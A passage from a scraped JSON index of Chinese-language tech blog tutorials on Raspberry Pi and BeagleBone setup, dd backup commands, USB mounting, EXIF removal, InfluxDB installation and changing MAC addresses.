如果有任何問題，通常也都可以在這裡找到一些錯誤訊息。\n如果您對於樹莓派的應用有興趣，建議您可以繼續閱讀物聯網的相關文章。\n","permalink":"https://blog.gtwang.org/iot/raspberry-pi-dhcp-server-configuration/","summary":"\u003cp\u003e這裡介紹如何在樹莓派（Raspberry Pi）安裝 DHCP 伺服器，讓它負責配發與管理區域網路上的 IP 位址。\u003c/p\u003e\n\u003cp\u003e樹莓派是一個迷你型的電腦，可運行各種 Linux 系統，因此非常適合拿來作為輕量化的伺服器使用，一般 DHCP 伺服器的負載都很輕，以樹莓派這樣的硬體來說是綽綽有餘，以下是在 Raspbian 系統中安裝與設定 DHCP 伺服器的流程。\u003c/p\u003e","title":"樹莓派（Raspberry Pi）安裝 DHCP 伺服器，配發 IP 位址"},{"content":"這裡介紹如何不用拆電腦的機殼，在 Windows 中直接查看主機板的型號。\n在升級電腦、更新驅動程式或是更換電腦周邊零件的時候，時常會需要查詢自己電腦的主機板型號，例如添購新的記憶體時，要先查一下自己的主機板支援度如何，才知道該買怎麼樣的記憶體。\n通常最直接的做法是直接拆機殼，看看主機板上面的型號，不過其實有更方便的做法。\n使用命令提示字元 下面這個指令可以查詢主機板型號等資訊：\nwmic baseboard get product,Manufacturer,version,serialnumber 輸出會像這樣：\n如此一來，就可以很快的知道板子的型號了。\n使用 Speccy 如果不喜歡使用指令的使用者，可以下載 Speccy 這個軟體，他可以把電腦中幾乎所有的硬體資訊通通顯示出來：\n點選 Motherboard，還可以看到細部的資訊，如晶片的型號等：\n參考資料 How-To Geek ","permalink":"https://blog.gtwang.org/windows/how-to-check-motherboard-model-in-windows/","summary":"\u003cp\u003e這裡介紹如何不用拆電腦的機殼，在 Windows 中直接查看主機板的型號。\u003c/p\u003e\n\u003cp\u003e在升級電腦、更新驅動程式或是更換電腦周邊零件的時候，時常會需要查詢自己電腦的主機板型號，例如添購新的記憶體時，要先查一下自己的主機板支援度如何，才知道該買怎麼樣的記憶體。\u003c/p\u003e","title":"如何在 Windows 中查詢主機板的型號？不用拆機殼"},{"content":"這裡介紹如何撰寫程式控制樹莓派（Raspberry Pi）板子上內建的 ACT LED 指示燈。\n樹莓派 Raspberry Pi B+ 上面有一個綠色的 ACT LED 指示燈，在預設的狀況下只要系統有存取 MicroSD 卡時，這個指示燈就會發亮，而這個指示燈也可以讓使用者透過程式來控制，依照使用的需求來動作。\n首先進入 code 目錄中：\ncd /sys/class/leds/ACT 這個目錄中包含了所有控制 ACT LED 指示燈會用到的系統檔案。\ntrigger trigger 是用來設定指示燈觸發條件的檔案，預設的 trigger 設定會是 mmc0（MultiMediaCard），代表存取 MicroSD 卡時觸發 LED 指示燈，如果您將 trigger 這個檔案直接用 cat 輸出，其內容會像這樣：\nnone [mmc0] timer oneshot heartbeat backlight gpio cpu0 default-on 中括號代表目前所選擇的觸發條件，而其餘的都是使用者可以選擇的選項，以下介紹各種選項的使用方式。\n手動控制指示燈 如果要完全使用手動控制指示燈，可以將觸發條件設定為 none：\nsudo sh -c \u0026#39;echo none \u0026gt; trigger\u0026#39; 或是直接切換成 root 再執行也可以：\nsudo su echo none \u0026gt; trigger 然後再更改 brightness 的內容來控制燈號，設為大於 0 的值會讓指示燈開啟：\nsudo sh -c \u0026#39;echo 1 \u0026gt; brightness\u0026#39; 設定為 0 則會讓指示燈關閉：\nsudo sh -c \u0026#39;echo 0 \u0026gt; brightness\u0026#39; brightness 的值可以設定的範圍是從 到 max_brightness 的值（也就是 255）之間，在一般的 Linux 下使用者可以透過 brightness 調整 LED 的亮度，不過由於 Raspberry Pi 的硬體不支援亮度的調整，只能開啟或是關閉，所以在 Raspberry Pi 上面，只要將 brightness 設定為大於 的值，不管其值為何，效果都是一樣的（都是開啟 LED 指示燈）。\nOne-shot LED Trigger 這種觸發條件適合用於一些沒有明確開啟與關閉的事件，使用這種觸發條件時，使用者只需要在事件發生時送出訊號，而指示燈在收到觸發訊號時會開啟，經過一小段時間後自動關閉。\n這種觸發條件可以同時適用於較稀疏或是較密集的觸發事件，如果觸發事件很稀疏，那麼每一個事件觸發時指示燈就會閃一下，而如果觸發事件非常密集而且連續不斷，那麼指示燈就會以固定的頻率持續閃爍，表示持續有事件被接收到。\n在使用這種觸發事件時，首先將 trigger 設定為 oneshot：\nsudo sh -c \u0026#39;echo oneshot \u0026gt; trigger\u0026#39; 然後將 shot 設定為 1 來觸發事件：\nsudo sh -c \u0026#39;echo 1 \u0026gt; shot\u0026#39; 如果要更改持續事件的閃爍頻率，可以修改 delay_on 與 delay_off 兩個檔案內容：\nsudo sh -c \u0026#39;echo 33 \u0026gt; delay_on\u0026#39; sudo sh -c \u0026#39;echo 33 \u0026gt; delay_off\u0026#39; 這樣持續觸發事件閃爍的頻率就是 1 / (33 + 33) Hz。\n一般來說觸發事件時，指示燈會開啟，平常如果沒有事件的時候，指示燈是熄滅的。而這個邏輯規則可以靠 invert 來調整，如果 invert 設定為 0（這是預設的狀況）：\nsudo sh -c \u0026#39;echo 0 \u0026gt; invert\u0026#39; 指示燈在觸發時會開啟 delay_on ms，然後關閉 delay_off ms，如果設定為 1：\nsudo sh -c \u0026#39;echo 1 \u0026gt; invert\u0026#39; 則會相反，在事件觸發時指示燈會關閉 delay_off ms，然後開啟 delay_on ms，平常沒有事件時，指示燈則是保持開啟的狀態。\n以 CPU 狀態觸發 依照 CPU 的狀態觸發指示燈：\nsudo sh -c \u0026#39;echo cpu0 \u0026gt; trigger\u0026#39; 當 CPU 忙碌時指示燈就會開啟，當 CPU 進入 idle 狀態時則熄滅。\n定時閃爍 不需任何觸發事件，讓指示燈依照固定的頻率持續閃爍：\nsudo sh -c \u0026#39;echo timer \u0026gt; trigger\u0026#39; 閃爍的頻率同樣可以透過 delay_on 與 delay_off 兩個檔案來指定：\nsudo sh -c \u0026#39;echo 50 \u0026gt; delay_on\u0026#39; sudo sh -c \u0026#39;echo 50 \u0026gt; delay_off\u0026#39; 模仿心跳閃爍 類似 timer，不過模仿心跳的方式閃爍：\nsudo sh -c \u0026#39;echo heartbeat \u0026gt; trigger\u0026#39; 持續開啟指示燈 將 trigger 設定為 default-on 會讓指示燈持續開啟：\nsudo sh -c \u0026#39;echo default-on \u0026gt; trigger\u0026#39; 如果您對於樹莓派的應用有興趣，建議您可以繼續閱讀物聯網的相關文章。\n參考資料 Raspberry Pi The Linux Kernel Archives GitHub ","permalink":"https://blog.gtwang.org/iot/raspberry-pi-act-led-trigger/","summary":"\u003cp\u003e這裡介紹如何撰寫程式控制樹莓派（Raspberry Pi）板子上內建的 ACT LED 指示燈。\u003c/p\u003e\n\u003cp\u003e樹莓派 Raspberry Pi B+ 上面有一個綠色的 ACT LED 指示燈，在預設的狀況下只要系統有存取 MicroSD 卡時，這個指示燈就會發亮，而這個指示燈也可以讓使用者透過程式來控制，依照使用的需求來動作。\u003c/p\u003e","title":"以程式控制樹莓派 Raspberry Pi 的 ACT LED 指示燈"},{"content":"這裡提供一些 Linux 下 dd 指令的教學與範例，您可以使用這個小工具進行各種資料的複製、備份與回復。\nLinux 系統中的 dd 指令是一個多功能的小工具，可以用於各種的資料拷貝動作：\n備份與回復整顆硬碟的資料。 備份與回復原始設備檔案，例如 MBR（master boot record）。 轉換資料格式，例如 ASCII 轉換為 EBCDIC，大小寫轉換等。 建立固定大小的檔案。 dd 的原意為 data duplicator，但由於 dd 屬於較低階的資料處理工具，通常都會以管理者（root）權限來執行，如果稍有不慎，也很容易造成嚴重的後果（例如整顆硬碟的資料不見等等），所以有些人也把 dd 取名為 data destroyer。\n許多人在製作 Linux 的 USB 安裝隨身碟的時候，時常也會使用到 dd 指令，這部份的教學請參考 Linux 使用 dd 指令將 ISO 檔製作成 Live USB 隨身碟。\n基本使用方式 dd 常用的參數如下：\nif=FILE：指定輸入檔案名稱（input file）為 FILE。 of=FILE：指定輸出檔案名稱（output file）為 FILE。 ibs=BYTES：指定輸入區塊大小（input block size），一次讀取 BYTES 位元組的資料，預設為 512 位元組。 obs=BYTES：指定輸出區塊大小（output block size），一次寫入 BYTES 位元組的資料，預設為 512 位元組。 bs=BYTES：指定 block size，一次讀取與寫入 BYTES 位元組的資料，此選項會覆蓋 ibs 與 obs 的設定。 cbs=BYTES：一次轉換 BYTES 位元組的資料。 count=N：只處理 N 個輸入區塊，每個區塊的大小為 ibs。 seek=N：在輸出時跳過輸出檔案的前 N 個區塊，每個區塊的大小為 obs。 skip=N：在輸入時跳過輸入檔案的前 N 個區塊，每個區塊的大小為 ibs。 conv=CONVS：指定資料的轉換選項，如果一次要指定多種轉換，則以逗點分隔。 以下是各種可用的轉換：\nascii：EBCDIC 轉 ASCII。 ebcdic：ASCII 轉 EBCDIC。 ibm：ASCII 轉 alternate EBCDIC。 block：將每一個區塊的資料結尾的換行字元替換為空白，並以空白將整個區塊補足 cbs 位元組。。 unblock：將每個區塊結尾的空白字元替換為換行字元。 lcase：將大寫字母轉換成小寫。 ucase：將小寫字母轉換成大寫。 swab：將每一對輸入的位元組交換。 sync：將每一個輸入的區塊以 NUL 補足至 ibs 位元組的大小，如果是在 block 或是 unblock 的轉換中，則以空白字元來補足。 nocreat：不要建立輸出檔案。 notrunc：不要將輸出檔案截短。 noerror：發生錯誤時還是繼續執行。 fdatasync：讓資料同步實體寫入硬碟，不要留在緩衝區中。 再次提醒您，若以管理者權限執行 dd 時，請再三確認您所執行的指令內容是否正確，執行錯誤的指令可能導致整個系統與資料的損毀！\n備份整顆硬碟 將 /dev/sda 所有的資料寫入 /dev/sdb：\nsudo dd if=/dev/sda of=/dev/sdb if 參數指定的是輸入檔案（input file），而 of 參數指定的是輸出檔案（output file），這行指令會將 /dev/sda 這顆硬碟的資料讀出來，然後寫進 /dev/sdb 這顆硬碟。\n在整個過程中如果出現讀取錯誤的話，dd 就會停止執行，如果想要讓 dd 在出現讀取錯誤時還是繼續拷貝資料的話，就要加上 conv=noerror 參數，這個選項通常在備份資料時會使用到，另外加上 sync 可以讓 dd 以 synchronized I/O 的方式備份資料：\nsudo dd if=/dev/sda of=/dev/sdb conv=noerror,sync 建立硬碟的備份影像檔 備份硬碟資料除了拿兩顆硬碟對拷之外，也可以直接將整顆硬碟的資料製作成影像檔，以這種方式備份資料會更有彈性：\nsudo dd if=/dev/hda of=~/hdadisk.img 這行指令會將 /dev/sda 這顆硬碟的資料讀出來，儲存至 ~/hdadisk.img 這個影像檔中。\n從備份影像檔回復硬碟資料 如果要以影像檔回復硬碟的資料，就執行：\nsudo dd if=hdadisk.img of=/dev/hdb 這樣就會把 hdadisk.img 影像檔中的資料回復至 /dev/sdb 這顆硬碟（原本 /dev/sdb 硬碟中的所有資料會被覆蓋掉，請小心使用）。\n備份磁碟分割區 如果只要備份單一個磁碟分割區，可以使用：\nsudo dd if=/dev/hda1 of=~/partition1.img 兩個磁碟分割區對拷：\nsudo dd if=/dev/sda1 of=/dev/sdb1 bs=4096 conv=noerror,sync 這樣會將 /dev/sda1 的資料同步至 /dev/sdb1，使用前請確認 /dev/sdb1 分割區大小至少要比 /dev/sda1 大。\n備份 CD/DVD 光碟 將光碟片放進光碟機之後，就可以使用這樣的指令將光碟整個備份成 ISO 檔：\nsudo dd if=/dev/cdrom of=tgsservice.iso bs=2048 如果您放進光碟片時，系統會自動掛載，那麼在使用 dd 備份之前，建議可以先將光碟卸載，避免不必要的光碟讀取動作。\n壓縮資料 如果資料很大，可以配合 gzip 將資料壓縮起來，直接輸出成壓縮過的影像檔：\nsudo dd if=/dev/sda | gzip \u0026gt; sdadisk.img.gz 而要從壓縮過的影像檔回復資料，可以使用：\nsudo gzip -dc sdadisk.img.gz | dd of=/dev/sda MBR 的備份與回復 備份 MBR（master boot record）：\nsudo dd if=/dev/sda of=mbr.img bs=446 count=1 回復 MBR：\nsudo dd if=mbr.img of=/dev/sda 查看 MBR 內容：\nsudo dd if=/dev/hda of=mbr.bin bs=512 count=1 od -xa mbr.bin ASCII 與 EBCDIC 轉換 將 ASCII 轉換為 EBCDIC：\ndd if=textfile.ascii of=textfile.ebcdic conv=ebcdic 將 EBCDIC 轉換為 ASCII：\ndd if=textfile.ebcdic of=textfile.ascii conv=ascii 大小寫轉換 轉換為大寫：\ndd if=file1 of=file2 conv=ucase 轉換為小寫：\ndd if=file1 of=file2 conv=lcase 建立固定大小的檔案 建立一個 10MB 大小的檔案：\ndd if=/dev/zero of=file1 bs=10485760 count=1 這裏的 block size 的計算方式為 10*1024*1024 = 10MB。\n修改檔案內容 將檔案開頭的 512 bytes 改為 null：\ndd if=/dev/zero of=file1 bs=512 count=1 conv=notrunc 這裡的 notrunc 參數代表不要將輸出檔案截短，只取代開頭的前 512 bytes，其餘內容不變。假設 file1 不存在，那麼這行指令就會建立一個 512 bytes 的 file1 檔案。\n參考資料 The Geek Stuff LinOxide ","permalink":"https://blog.gtwang.org/linux/dd-command-examples/","summary":"\u003cp\u003e這裡提供一些 Linux 下 \u003ccode\u003edd\u003c/code\u003e 指令的教學與範例，您可以使用這個小工具進行各種資料的複製、備份與回復。\u003c/p\u003e\n\u003cp\u003eLinux 系統中的 \u003ccode\u003edd\u003c/code\u003e 指令是一個多功能的小工具，可以用於各種的資料拷貝動作：\u003c/p\u003e","title":"dd 指令教學與實用範例，備份與回復資料的小工具"},{"content":"這裡介紹如何以 UUID 的方式指定掛載設備，讓 Raspberry Pi 開機自動掛載 USB 隨身碟或外接硬碟。\n在 Raspbian 中，如果進入到 X Window 環境下，只要有 USB 隨身碟插上 Raspberry Pi，系統就會自動掛載，但是如果您想讓 Raspberry Pi 在開機後就自動掛載 USB 隨身碟（或是外接硬碟），就需要一些設定，以下是設定的步驟。\nStep 1\n如果您的 USB 隨身碟使用的檔案系統格式是 NTFS 的話，請先安裝 ntfs-3g 套件：\nsudo apt-get install ntfs-3g Step 2\n插上 USB 隨身碟之後，依據 UUID 查看所有的硬碟：\nls -l /dev/disk/by-uuid/ 輸出會類似這樣：\n從這裡我們就可以看到每一個硬碟或是 MicroSD 卡分割區所對應的 UUID，mmcblk 開頭的都是記憶卡，而一般的 USB 隨身碟都是以 sd 開頭，以這個例子而言，USB 隨身碟是 sda1，對應的 UUID 為 459A-11F7。\nStep 3\n在 /media 下面建立一個掛載用的目錄，並設定好適當的權限：\nsudo mkdir /media/USB sudo chmod 770 /media/USB Step 4\n查詢一下 pi 使用者的 user id 與 group id：\ngrep pi /etc/passwd 輸出為\npi:x:1000:1000:,,,:/home/pi:/bin/bash 第三欄與第四欄就是 uid 與 gid，通常都是 1000。\nStep 5\n進行掛載：\nsudo mount -t ntfs-3g -o uid=1000,gid=1000,umask=007 /dev/sda1 /media/USB 其中的 -t ntfs-3g 是指定檔案系統為 NTFS，其餘可用的參數有 vfat（FAT32）、ext4。\nStep 6\n在 /etc/fstab 中加入一行：\nUUID=459A-11F7 /media/USB ntfs-3g uid=1000,gid=1000,umask=007 0 0 這樣下次重新開機時，系統就會自動依據 UUID 來掛載這個 USB 隨身碟。\n如果您對於樹莓派的應用有興趣，建議您可以繼續閱讀物聯網的相關文章。\n","permalink":"https://blog.gtwang.org/iot/raspberry-pi-auto-mount-usb-disk/","summary":"\u003cp\u003e這裡介紹如何以 UUID 的方式指定掛載設備，讓 Raspberry Pi 開機自動掛載 USB 隨身碟或外接硬碟。\u003c/p\u003e\n\u003cp\u003e在 Raspbian 中，如果進入到 X Window 環境下，只要有 USB 隨身碟插上 Raspberry Pi，系統就會自動掛載，但是如果您想讓 Raspberry Pi 在開機後就自動掛載 USB 隨身碟（或是外接硬碟），就需要一些設定，以下是設定的步驟。\u003c/p\u003e","title":"如何讓 Raspberry Pi 開機自動掛載 USB 隨身碟或外接硬碟"},{"content":"這裡介紹如何移除數位照片的 EXIF 資訊，把 GPS 位置與拍攝時間等資訊刪除。\n現在的手機或是數位相機通常都有 GPS 衛星定位的功能，而拍攝出來的相片中都會包含非常詳細的拍攝地點與時間等資料，如果要將照片分享給別人或是放在網路上，有時候會需要把這些資料刪除，一方面可以減低照片的檔案大小，另一方面也可以避免洩露一些敏感的資料，以下介紹如何刪除這些資訊。\n一般的數位相機或是手機都會將照相時的各種資訊儲存在 EXIF（Exchangeable Image File Format）資訊中，這裡面包含照相時的 GPS 座標、時間、相機型號、光圈、快門、ISO 等等，一般的看圖軟體都可以查看 EXIF 裡面的資料。\nMac OS X 在 Mac OS X 中，使用預覽程式開啟照片之後，按下 Command + I，就可以看到 EXIF 的資訊。\n如果數位相機有 GPS 的功能，這裡也可以看到照相時的經緯度座標與地圖。\n在 Mac OS X 的預覽程式中，只能移除 GPS 位置資訊（按下移除位置資訊按鈕即可），而如果要移除其他的 EXIF 資訊，可以使用 ImageOptim 這個軟體，ImageOptim 預設在壓縮圖片時，就會將 EXIF 訊息移除掉。（關於照片的壓縮軟體，可以參考圖片壓縮與最佳化的免費工具）\n使用 ImageOptim 壓縮照片。\n經過 ImageOptim 壓縮之後，EXIF 就被移除了。\nWindows 在 Windows 中，以滑鼠右鍵點選照片，選擇「內容」，就可以看到 EXIF 的資訊。\n在下方有一個「移除檔案屬性和個人資訊」，點下去就可以移除這些 EXIF 資訊。\nLinux 如果在 Linux 系統中，我們可以使用 exiftool 這個小工具來移除照片中的 EXIF 資訊。以 Ubuntu Linux 為例，首先以 apt-get 安裝 libimage-exiftool-perl：\nsudo apt-get install libimage-exiftool-perl 如果是 Red Hat 系列的 Linux（如 Fedora），可以用 yum 安裝：\nsudo yum install perl-Image-ExifTool 若是 OpenSUSE，則可以用 yast 安裝 exiftool。\n然後切換到照片所在的目錄，執行\nexiftool -all= *.jpg 這樣就會把現行目錄中所有 jpg 檔案的 EXIF 資訊都移除。而 exiftool 在處理照片時，會自動把原來的照片備份一份，備份的檔案名稱會以 _original 結尾。\n移除所有 EXIF 資訊，但是保留 GPS 資訊：\nexiftool -all= -tagsfromfile @ -gps:all *.jpg ","permalink":"https://blog.gtwang.org/useful-tools/remove-photo-exif-gps-information/","summary":"\u003cp\u003e這裡介紹如何移除數位照片的 EXIF 資訊，把 GPS 位置與拍攝時間等資訊刪除。\u003c/p\u003e\n\u003cp\u003e現在的手機或是數位相機通常都有 GPS 衛星定位的功能，而拍攝出來的相片中都會包含非常詳細的拍攝地點與時間等資料，如果要將照片分享給別人或是放在網路上，有時候會需要把這些資料刪除，一方面可以減低照片的檔案大小，另一方面也可以避免洩露一些敏感的資料，以下介紹如何刪除這些資訊。\u003c/p\u003e","title":"如何移除數位照片的 EXIF 資訊？刪除 GPS 位置與拍攝時間等資料"},{"content":"InfluxDB 是一個專門適用於時間序列用的資料庫，這裡介紹如何在 Ubuntu Linux 中安裝並使用它。\nInfluxDB 是一個開放原始碼、分散式的時間序列資料庫，適合用來儲存大量連續行的觀測資料，例如系統的 CPU 與記憶體使用狀態監測，或是一些感測器（sensors）的連續監測資料。\n以下是在 Ubuntu Linux 中安裝 InfluxDB 資料庫的步驟，並且示範簡單的使用方式。\nStep 1\n依照作業系統選擇適當的安裝方式：\n64 位元的 Ubuntu Linux：\nwget http://s3.amazonaws.com/influxdb/influxdb_latest_amd64.deb sudo dpkg -i influxdb_latest_amd64.deb 32 位元的 Ubuntu Linux：\nwget http://s3.amazonaws.com/influxdb/influxdb_latest_i386.deb sudo dpkg -i influxdb_latest_i386.deb Step 2\n啟動 InfluxDB 系統服務：\nsudo service influxdb start Step 3\n開啟瀏覽器，輸入伺服器的位址並加上 8083 這個連接埠，\nhttp://IP-ADDRESS:8083/ 如果您是在本機安裝 InfluxDB，則直接輸入\nhttp://localhost:8083/ Step 4\n開啟之後應該會看到 InfluxDB 的登入畫面，預設的管理者帳號是 root，而密碼也是 root，預設的連接埠為 8086。\nStep 5\n連上資料庫之後，就可以開始使用了。由於一開始整個資料庫是空的，使用前要建立一個新的資料庫（Create a Database）。\n這裡我建立一個 test 資料庫。\nStep 6\n另外也順便建立一個 test 資料庫專用的帳號，這裡因為是示範教學，我將帳號與密碼都設定為 test。\nStep 7\n接著我們先用 JavaScript 測試輸入資料，開啟瀏覽器的 console，執行以下這個 JavaScript：\n// start time of 24 hours ago var backMilliseconds = 86000 * 1000; var startTime = new Date() - backMilliseconds; var timeInterval = 60 * 1000; var eventTypes = [\u0026#34;click\u0026#34;, \u0026#34;view\u0026#34;, \u0026#34;post\u0026#34;, \u0026#34;comment\u0026#34;]; var cpuSeries = { name: \u0026#34;cpu_idle\u0026#34;, columns: [\u0026#34;time\u0026#34;, \u0026#34;value\u0026#34;, \u0026#34;hostName\u0026#34;], points: [] }; var eventSeries = { name: \u0026#34;customer_events\u0026#34;, columns: [\u0026#34;time\u0026#34;, \u0026#34;customerId\u0026#34;, \u0026#34;type\u0026#34;], points: [] }; for (i = 0; i \u0026lt; backMilliseconds; i += timeInterval) { // generate fake cpu idle host values var hostName = \u0026#34;server\u0026#34; + Math.floor(Math.random() * 100); var value = Math.random() * 100; var pointValues = [startTime + i, value, hostName]; cpuSeries.points.push(pointValues); // generate some fake customer events for (j = 0; j \u0026lt; Math.random() * 10; j += 1) { var customerId = Math.floor(Math.random() * 1000); var eventTypeIndex = Math.floor(Math.random() * 1000 % 4); var eventValues = [startTime + i, customerId, eventTypes[eventTypeIndex]]; eventSeries.points.push(eventValues); } } influxdb.writeSeries([cpuSeries, eventSeries]); 這段 JavaScript 會將一些測試的資料輸入資料庫。這裡要注意一點，因為這段 JavaScript 會用到 InfluxDB 的函式庫，所以要在 InfluxDB 管理介面的網頁中打開 console 才能正常執行，就像這樣：\nStep 8\n輸入測試資料之後，再查詢一下：\nselect mean(value) from cpu_idle group by time(30m) where time \u0026gt; now() - 1d 這個查詢會顯示近一天之內，每 30 分鐘的 cpu_idle 平均值，查詢的結果會包含時間序列的圖形與原始資料：\n只查詢 server1 的 cpu_idle 資料：\nselect mean(value) from cpu_idle group by time(30m) where time \u0026gt; now() - 1d and hostName = \u0026#39;server1\u0026#39; 查詢近一小時內的資料筆數：\nselect count(value) from cpu_idle where time \u0026gt; now() - 1h 查詢近一天之內，customer_events 每十分鐘的資料筆數：\nselect count(customerId) from customer_events where time \u0026gt; now() - 1d group by time(10m) 查詢近一小時內 customer_events 中不重複的 customerId：\nselect distinct(customerId) as customerId from customer_events where time \u0026gt; now() - 1h ","permalink":"https://blog.gtwang.org/linux/ubuntu-linux-install-influxdb/","summary":"\u003cp\u003eInfluxDB 是一個專門適用於時間序列用的資料庫，這裡介紹如何在 Ubuntu Linux 中安裝並使用它。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"influxdb\" loading=\"lazy\" src=\"/linux/ubuntu-linux-install-influxdb/influxdb.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://influxdb.com/\"\u003eInfluxDB\u003c/a\u003e 是一個開放原始碼、分散式的時間序列資料庫，適合用來儲存大量連續行的觀測資料，例如系統的 CPU 與記憶體使用狀態監測，或是一些感測器（sensors）的連續監測資料。\u003c/p\u003e","title":"在 Ubuntu Linux 中安裝 InfluxDB 時間序列用的資料庫"},{"content":"這裡介紹如何在各種作業系統中更改網路卡的 Mac 卡號（Mac Address）。\n有時候因為一些網路設定因素，我們會需要查詢甚至修改網路卡的 Mac 卡號，以下是 Windows、Linux 與 Mac OS X 系統中查詢與更改 Mac 卡號的步驟教學。\nWindows 在 Windows 中若要查看網路卡的 Mac 卡號，可以在命令提示字元中執行\nipconfig /all 然後在乙太網路卡的部分會有一個「實體位址」，上面的十六進位數字就是 Mac 卡號。\n如果要更改網路卡的 Mac 卡號，首先開啟「裝置管理員」，找到要更改的網路卡，按右鍵選擇「內容」。\n在「進階」的籤頁中，選擇「本機管理位址」，然後在右邊的「數值」部分填入要指定的 Mac 卡號。\n按下確定後就完成修改了，接著可以再用 ipconfig 確認：\nLinux 在 Linux 系統中若要查看網路卡的 Mac 卡號，可以執行\nifconfig eth0 其中的 eth0 是用來指定網路卡的參數，eth0 代表第一張網路卡，eth1 為第二張，以此類推。其輸出會像這樣\n如果要更改網路卡的 Mac 卡號，要先將網路卡停用，更改完後再啟用：\n# 停用 eth0 網路卡 sudo ifconfig eth0 down # 更改網路卡 Mac 卡號 sudo ifconfig eth0 hw ether XX:XX:XX:XX:XX:XX # 啟用 eth0 網路卡 sudo ifconfig eth0 up 更改完成後，可以再用 ifconfig 檢查：\nMac OS X 在 Mac OS X 中如果要查看網路卡 Mac 卡號，可以在終端機中執行\nifconfig en0 其中的 en0 是用來指定網路卡的參數，en0 代表第一張網路卡，en1 為第二張，以此類推。其輸出會像這樣\n其中的 ether 3c:07:54:47:93:9f 就是該張網卡的 Mac 卡號。\n如果要更改網路卡的 Mac 卡號，可以執行\n# 更改網路卡 Mac 卡號 sudo ifconfig en0 ether XX:XX:XX:XX:XX:XX 其中的 XX:XX:XX:XX:XX:XX 要替換為新的 Mac 卡號。例如\n# 更改網路卡 Mac 卡號 sudo ifconfig en0 ether 12:34:56:78:90:AB 因為更改網路卡的 Mac 卡號會需要用到管理者的權限，所以這裡還會需要輸入一下密碼，而更改完之後可以再使用 ifconfig 檢查一下是否有更改成功，正常的話會像這樣\n參考資料 HTG ","permalink":"https://blog.gtwang.org/useful-tools/change-mac-address/","summary":"\u003cp\u003e這裡介紹如何在各種作業系統中更改網路卡的 Mac 卡號（Mac Address）。\u003c/p\u003e\n\u003cp\u003e有時候因為一些網路設定因素，我們會需要查詢甚至修改網路卡的 Mac 卡號，以下是 Windows、Linux 與 Mac OS X 系統中查詢與更改 Mac 卡號的步驟教學。\u003c/p\u003e","title":"如何查看與更改網路卡 Mac 卡號（Mac Address）？"},{"content":"最近買了一張 BeagleBone Black Rev C 開發板，順便寫一下開箱文。\nBeagleBone Black 跟樹莓派類似，不過硬體稍微好一些，價格也稍微高一點，其 CPU 為 AM335x 1GHz ARM Cortex-A8，記憶體為 512MB DDR3，還有內建 4GB 的 eMMC flash，以下是一些照片。\nBeagleBone Black 的正面。\nBeagleBone Black 的背面。\n側面有一個 RJ45 的乙太網路孔、Mini USB 孔，還有 5V 的電源輸入孔。\n另一側有一個 USB 孔、一個 Micro HDMI 孔，再加上一個 MicroSD 插槽。\n以下是 BeagleBone Black 的入門安裝步驟。\nStep 1\n首先將附贈的 Mini USB 線插上 BeagleBone Black，並連接電腦。由於 BeagleBone Black 可以直接透過 USB 供電，所以如果有插上 USB 線，就不需要額外的電源了。\nStep 2\n這時候在電腦中應該就可以看到一個 USB 裝置。\nStep 3\n打開「BeagleBone Getting Started」之後，在說明文件中有驅動程式的超連結，請依照自己的系統來安裝。\n驅動程式除了使用 BeagleBone Black 隨機附贈的之外，也可以上 BeagleBone Black 的官方網站接下載。\nStep 4\n驅動程式的安裝過程很簡單，只要一直按下一步即可。\nStep 5\n在驅動程式的安裝過程中，會出現類似這樣的確認畫面，全部都選擇「安裝」。\nStep 6\n後按下「完成」。\nStep 7\n接著開啟瀏覽器，輸入這個網址：\nhttps://192.168.7.2/ 正常的話，應該就會看到「Your board is connected!」這個綠色訊息，這就表示您已經可以開始使用 BeagleBone Black 了。\nStep 8\n在這個網頁中，有一個 BoneScript 的小範例程式，您可以直接在網頁上修改程式碼，而且立即執行。\n預設的這個小程式如果執行之後，會讓 BeagleBone Black 板子上面四個 USB 的 LED 指示燈同時開啟。\n以上就是簡略的開箱文。如果您對於 BeagleBone Black 的應用有興趣，建議您可以繼續閱讀物聯網的相關文章。\n","permalink":"https://blog.gtwang.org/iot/beaglebone-black/","summary":"\u003cp\u003e最近買了一張 BeagleBone Black Rev C 開發板，順便寫一下開箱文。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.beagleboard.org/boards/beaglebone-black\"\u003eBeagleBone Black\u003c/a\u003e 跟樹莓派類似，不過硬體稍微好一些，價格也稍微高一點，其 CPU 為 AM335x 1GHz ARM Cortex-A8，記憶體為 512MB DDR3，還有內建 4GB 的 eMMC flash，以下是一些照片。\u003c/p\u003e","title":"[開箱] BeagleBone Black Rev C 開發板"},{"content":"這裡介紹如何在 Raspberry Pi 上面安裝 OpenCV 函式庫，安裝方式可選擇使用 apt 或是自行編譯安裝。\nOpenCV 是一個很強大的電腦視覺（Computer Vision）工具，可用於開發即時的影像處理、電腦視覺以及模式識別程式，應用領域很廣泛，以下介紹如何在 Raspberry Pi 上面安裝與使用 OpenCV。\n安裝 OpenCV 要在 Raspberry Pi 上面安裝 OpenCV，可以分為兩種方式，一種是直接使用 apt 來安裝，這種方式最簡單，一般建議是用這種。而另外一種則是從 OpenCV 的網站下載原始碼自行編譯，這種安裝方式比較麻煩，如果需要最新版的 OpenCV 或是有特殊需求想要自行調整編譯參數的人才需要用這種方式。\n使用 apt 安裝 OpenCV 如果要在 Raspberry Pi 中安裝與使用 OpenCV，最方便的方式就是使用 apt 來安裝：\nsudo apt-get install libopencv-dev 基本上這樣系統就會自動把 OpenCV 的函式庫安裝好，非常簡單。\n下載 OpenCV 原始碼自行編譯安裝 如果您需要最新版的 OpenCV，那麼就會需要抓取最新的原始碼來編譯，以下是下載、編譯與安裝的步驟。\nStep 1\n安裝編譯 OpenCV 所需要的套件：\nsudo apt-get install build-essential cmake cmake-curses-gui pkg-config libpng12-0 libpng12-dev libpng++-dev libpng3 libpnglite-dev zlib1g-dbg zlib1g zlib1g-dev pngtools libtiff4-dev libtiff4 libtiffxx0c2 libtiff-tools libeigen3-dev 需要的套件很多，這是另外一部分：\nsudo apt-get install libjpeg8 libjpeg8-dev libjpeg8-dbg libjpeg-progs ffmpeg libavcodec-dev libavcodec53 libavformat53 libavformat-dev libgstreamer0.10-0-dbg libgstreamer0.10-0 libgstreamer0.10-dev libxine1-ffmpeg libxine-dev libxine1-bin libunicap2 libunicap2-dev swig libv4l-0 libv4l-dev python-numpy libpython2.6 python-dev python2.6-dev libgtk2.0-dev Step 2\n從 OpenCV 的網站上下載 OpenCV 